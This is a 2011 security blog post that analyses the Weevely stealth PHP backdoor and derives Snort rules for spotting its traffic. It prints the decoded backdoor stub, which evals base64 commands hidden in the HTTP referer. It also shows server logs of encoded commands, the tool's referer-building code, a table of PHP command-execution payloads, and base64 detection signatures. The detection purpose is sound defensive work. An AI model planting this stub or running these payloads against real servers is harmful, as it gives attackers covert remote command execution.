Put weevely on the your NIDS radar

Putting on the back burner major security issues, many network infrastructures follow a more flexible setup (sometimes chaotic) and operational plan. Main representatives of this approach are the academic and educational institutes. Each department, lab or research unit under the campus roof, following a simple checkbox paper work, can establish its own main services (web, mail, data, authentication etc). It is understandable that academic teams must not follow strict security policies in order to efficiently conduct their research, although NOC teams cannot leave things to their fate.

Usually the main target on these “flexible” networks is the web services. Different web services and servers are distributed at the network, constituting a high security risk because of their inexperienced administrators and operators. Outdated, unpatched and weak authenticated web applications are easy targets for aspiring hackers and script kiddies. Known vulnerabilities can be easily located and exploited without major technical background and knowledge.

After a successful hack into a web application, attackers want to maintain a backdoor stealth entry point to the server for future use of the system. Ideal for these cases are some stealth PHP backdoors that take advantage of PHP mis-configurations and system default setups in order to provide remote access to the victim system. The most popular one is Weevely, located at famous pen-test distributions (backtrack, backbox etc) and hacking scripts top lists. Being a victim of its own success, i spend some time to analyze how weevely works and how network admins can locate its patterns at the network traffic.

In a previous article i have analyzed some basic techniques that can be applied in order to locate the backdoor and protect from it at the system level. In this article i follow a different approach in a try to detect data patterns that will expose weevely in the network level. Initially i will examine how weevely works, emphasizing at the payload generator, and then propose some Snort rules, based on the discovered patterns, that can be applied in order to detect weevely.

The project description mentions that weevely simulate a telnet like connection by hiding its data in the HTTP referer header field. So lets use the generate option to create a backdoor that we will use in the analysis.

root@testbed:~# ./weevely.py generate lala my_weevely.php
Weevely 0.4 - Generate and manage stealth PHP backdoors
Emilio Pinna, Simone Margaritelli 2011-2012

+ Backdoor file 'my_weevely.php' created with password 'lala'.

The generated PHP code is base64 obfuscated so we need to decode it first:

ini_set('error_log', '/dev/null');parse_str($_SERVER['HTTP_REFERER'],$a);if(reset($a)=='la' && count($a)==9) {echo '<la>';eval(base64_decode(str_replace(" ", "+", join(array_slice($a,count($a)-3)))));echo '</la>';}

Initially the script’s error log is redirected to /dev/null. Then the referer values are parsed and stored into an array. The if clause checks whether the first value (reset() return the first array element) is “la” (the first two characters of the creation password) and if the array has 9 elements (the number of passed values to the referer field). Finally the cmd is composed from three string chunks and wrapped around tags named from the remaining characters of the password.

The documentation mentions that weevely uses the following PHP system functions: system(), passthru(), popen(), exec(), proc_open(), shell_exec(), pcntl_exec(), perl->system(), python_eval(). In order to have a full log analysis i will disable all these PHP system functions in the victim server and run weevely to gather the logs.

192.168.2.4 - - [20/Nov/2011:22:08:31 +0200] "GET /my_weevely.php HTTP/1.0" 200 294 "http://www.google.com/url?sa=la&source=web&ct=7&url=http%3A//192.168.2.5/my_weevely.php&rct=j&q=my_weevely&ei=QHN5c3RlbSgn&usg=ZWNobyA2OTc2&sig2=NiAyPiYxJyk7" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14"
192.168.2.4 - - [20/Nov/2011:22:08:31 +0200] "GET /my_weevely.php HTTP/1.0" 200 463 "http://www.google.com/url?sa=la&source=web&ct=7&url=http%3A//192.168.2.5/my_weevely.php&rct=j&q=my_weevely&ei=cGFzc3RocnUoJ&usg=2VjaG8gNzc4Mj&sig2=MgMj4mMScpOw==" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14"
192.168.2.4 - - [20/Nov/2011:22:08:31 +0200] "GET /my_weevely.php HTTP/1.0" 200 465 "http://www.google.com/url?sa=la&source=web&ct=7&url=http%3A//192.168.2.5/my_weevely.php&rct=j&q=my_weevely&ei=ZWNobyBzaGVsbF9l&usg=eGVjKCdlY2hvIDc0&sig2=NjQ3IDI+JjEnKTs=" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14"
192.168.2.4 - - [20/Nov/2011:22:08:31 +0200] "GET /my_weevely.php HTTP/1.0" 200 645 "http://www.google.com/url?sa=la&source=web&ct=7&url=http%3A//192.168.2.5/my_weevely.php&rct=j&q=my_weevely&ei=ZXhlYygnZWNobyAzNTc3MC&usg=AyPiYxJywgJHIpOyBlY2hv&sig2=KGpvaW4oIlxuIiwkcikpOw==" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14"
192.168.2.4 - - [20/Nov/2011:22:08:31 +0200] "GET /my_weevely.php HTTP/1.0" 200 452 "http://www.google.com/url?sa=la&source=web&ct=7&url=http%3A//192.168.2.5/my_weevely.php&rct=j&q=my_weevely&ei=JGFyZ3MgPSBhcnJheSgnMjg1&usg=NDYnKTsgcGNudGxfZXhlYygg&sig2=J2VjaG8nLCAkYXJncyApOw==" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14"
192.168.2.4 - - [20/Nov/2011:22:08:31 +0200] "GET /my_weevely.php HTTP/1.0" 200 460 "http://www.google.com/url?sa=la&source=web&ct=7&url=http%3A//192.168.2.5/my_weevely.php&rct=j&q=my_weevely&ei=JHBlcmwgPSBuZXcgcGVybCgpOyAkci&usg=A9IEBwZXJsLT5zeXN0ZW0oJ2VjaG8g&sig2=MzIxOTMgMj4mMScpOyBlY2hvICRyOw==" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14"
192.168.2.4 - - [20/Nov/2011:22:08:31 +0200] "GET /my_weevely.php HTTP/1.0" 200 449 "http://www.google.com/url?sa=la&source=web&ct=7&url=http%3A//192.168.2.5/my_weevely.php&rct=j&q=my_weevely&ei=QHB5dGhvbl9ldmFsKCdpbXBv&usg=cnQgb3M7IG9zLnN5c3RlbSgn&sig2=ZWNobyAzNjUzMyAyPiYxJyk7" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14"
192.168.2.4 - - [20/Nov/2011:22:08:31 +0200] "GET /my_weevely.php HTTP/1.0" 200 800871672 "http://www.google.com/url?sa=la&source=web&ct=7&url=http%3A//192.168.2.5/my_weevely.php&rct=j&q=my_weevely&ei=JHAgPSBhcnJheShhcnJheSgncGlwZScsICdyJyksIGFycmF5KCdwaXBlJywgJ3cnKSwgYXJyYXkoJ3BpcGUnLCAndycpKTskaCA9IHByb2Nfb3BlbignZWNobyAzMDQ4N&usg=CcsICRwLCAkcGlwZXMpOyB3aGlsZSghZmVvZigkcGlwZXNbMV0pKSBlY2hvKGZyZWFkKCRwaXBlc1sxXSw0MDk2KSk7d2hpbGUoIWZlb2YoJHBpcGVzWzJdKSkgZWNoby&sig2=hmcmVhZCgkcGlwZXNbMl0sNDA5NikpOyBmY2xvc2UoJHBpcGVzWzBdKTsgZmNsb3NlKCRwaXBlc1sxXSk7ZmNsb3NlKCRwaXBlc1syXSk7IHByb2NfY2xvc2UoJGgpOw==" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14"
192.168.2.4 - - [20/Nov/2011:22:10:17 +0200] "GET /my_weevely.php HTTP/1.0" 200 808579254 "http://www.google.com/url?sa=la&source=web&ct=7&url=http%3A//192.168.2.5/my_weevely.php&rct=j&q=my_weevely&ei=JGggPSBwb3BlbignZWNobyA2NTUzOCcsJ3In&usg=KTsgd2hpbGUoIWZlb2YoJGgpKSBlY2hvKGZy&sig2=ZWFkKCRoLDQwOTYpKTsgcGNsb3NlKCRoKTs=" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14"

Apart from the above you might see a few more log entries in a try from weevely to obtain some system configuration variables, these extra payloads can be found in modules/system/info.py.

So we can see that weevely uses a google related referer string to send its data to the victim. Comparing the log entries we can see that only three entries change their values: “ei”, “usg” and “sig”. So these three are the substring chunks that we mentioned above. We can confirm that by looking into core/http/cmdrequest.py file:

        def setPayload( self, payload ):
                payload = base64.b64encode( payload.strip() )
                length  = len(payload)
                third   = length / 3
                thirds  = third * 2
                referer = "http://www.google.com/url?sa=%s&source=web&ct=7&url=%s&rct=j&q=%s&ei=%s&usg=%s&sig2=%s" % ( self.password[:2], \
                                                                                                               urllib2.quote( self.url ), \
                                                                                                               self.query.strip(), \
                                                                                                               payload[:third], \
                                                                                                               payload[third:thirds], \
                                                                                                               payload[thirds:] )
                self['Referer'] = referer

The overall payload vector is as follow (where %s is the passed command, which at the initialize phase is an echo int command with a random int between 11111 and 99999):

Function        Code
===========================
system          @system('%s 2>&1');
passthru        passthru('%s 2>&1');
shell_exec      echo shell_exec('%s 2>&1');
proc_open       $p = array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w')); $h = proc_open('%s', $p, $pipes); while(!feof($pipes[1])) echo(fread($pipes[1],4096)); while(!feof($pipes[2])) echo(fread($pipes[2],4096)); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($h);
popen           $h = popen('%s','r'); while(!feof($h)) echo(fread($h,4096)); pclose($h);
python_eval     @python_eval('import os; os.system('%s 2>&1');
pcntl_exec      $args = array('%s'); pcntl_exec( '%s', $args );
perl->system    $perl = new perl(); $r = @perl->system('%s 2>&1'); echo $r;
exec            exec('%s 2>&1', $r); echo(join(\"\\n\",$r));
==========================

Knowing the used payloads we can extract the static patterns that can be used as alerts in our NIDS. From the previous we know that the command size can be as long as possible (web servers limit the http header size from 4KB to 64KB), so we need to locate chunks that remain unchanged despite the passed command string. Additionally we know that all chunks have equal sizes (a base64 encoded string can be divided by 3, more info at wikipedia). Finally the substring size (in bytes) that we choose must be divided without remainder by three (each char=1 byte). Following these restrictions with some casual maths i chose the following substrings:

Function        Substring       Base64_encode
===============================================
system          @syste          QHN5c3Rl
passthru        passth          cGFzc3Ro
shell_exec      hell_e          aGVsbF9l
proc_open       $p = array(arra JHAgPSBhcnJheShhcnJh
popen           $h = popen      JGggPSBwb3Bl
python_eval     @python_e       QHB5dGhvbl9l
pcntl_exec      $args = a       JGFyZ3MgPSBh
perl->system    $perl = new     JHBlcmwgPSBuZXcg
exec            exec('          ZXhlYygn
===============================================

It is pretty obvious that some choices are less efficient than others because they can be easily tricked with minor changes to the default payloads. Although is not obvious to the attacker what patterns have we chosen so despite all the possible changes, at least one content match will hit (if all payloads are used).

So finally lets write out the snort compatible ruleset (i have appended the web-attacks.rules file).

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"Weevely PHP backdoor detected (system() function used)"; flow:to_server,established; content:"QHN5c3Rl"; http_header;  reference:url,bechtsoudis.com/security/put-weevely-on-the-your-nids-radar; classtype:web-application-activity; sid:100001; rev:2;)
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"Weevely PHP backdoor detected (passthru() function used)"; flow:to_server,established; content:"cGFzc3Ro"; http_header;  reference:url,bechtsoudis.com/security/put-weevely-on-the-your-nids-radar; classtype:web-application-activity; sid:100002; rev:2;)
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"Weevely PHP backdoor detected (shell_exec() function used)"; flow:to_server,established; content:"aGVsbF9l"; http_header;  reference:url,bechtsoudis.com/security/put-weevely-on-the-your-nids-radar; classtype:web-application-activity; sid:100003; rev:2;)
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"Weevely PHP backdoor detected (proc_open() function used)"; flow:to_server,established; content:"JHAgPSBhcnJheShhcnJh"; http_header;  reference:url,bechtsoudis.com/security/put-weevely-on-the-your-nids-radar; classtype:web-application-activity; sid:100004; rev:2;)
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"Weevely PHP backdoor detected (popen() function used)"; flow:to_server,established; content:"JGggPSBwb3Bl"; http_header;  reference:url,bechtsoudis.com/security/put-weevely-on-the-your-nids-radar; classtype:web-application-activity; sid:100005; rev:2;)
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"Weevely PHP backdoor detected (python_eval() function used)"; flow:to_server,established; content:"QHB5dGhvbl9l"; http_header;  reference:url,bechtsoudis.com/security/put-weevely-on-the-your-nids-radar; classtype:web-application-activity; sid:100006; rev:2;)
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"Weevely PHP backdoor detected (pcntl_exec() function used)"; flow:to_server,established; content:"JGFyZ3MgPSBh"; http_header;  reference:url,bechtsoudis.com/security/put-weevely-on-the-your-nids-radar; classtype:web-application-activity; sid:100007; rev:2;)
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"Weevely PHP backdoor detected (perl->system() function used)"; flow:to_server,established; content:"JHBlcmwgPSBuZXcg"; http_header;  reference:url,bechtsoudis.com/security/put-weevely-on-the-your-nids-radar; classtype:web-application-activity; sid:100008; rev:2;)
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"Weevely PHP backdoor detected (exec() function used)"; flow:to_server,established; content:"ZXhlYygn";  http_header; reference:url,bechtsoudis.com/security/put-weevely-on-the-your-nids-radar; classtype:web-application-activity; sid:100009; rev:2;)

And here is a screenshot from the base frontend:

I have to admit that i am not a snort guru, so there might be a more efficient approach with more generic rules to detect weevely. So any propositions from Snort experts are welcome.

 

PS: Proposed rules added to Emerging Threads ruleset at 21 November 2011.

 

 

A. Bechtsoudis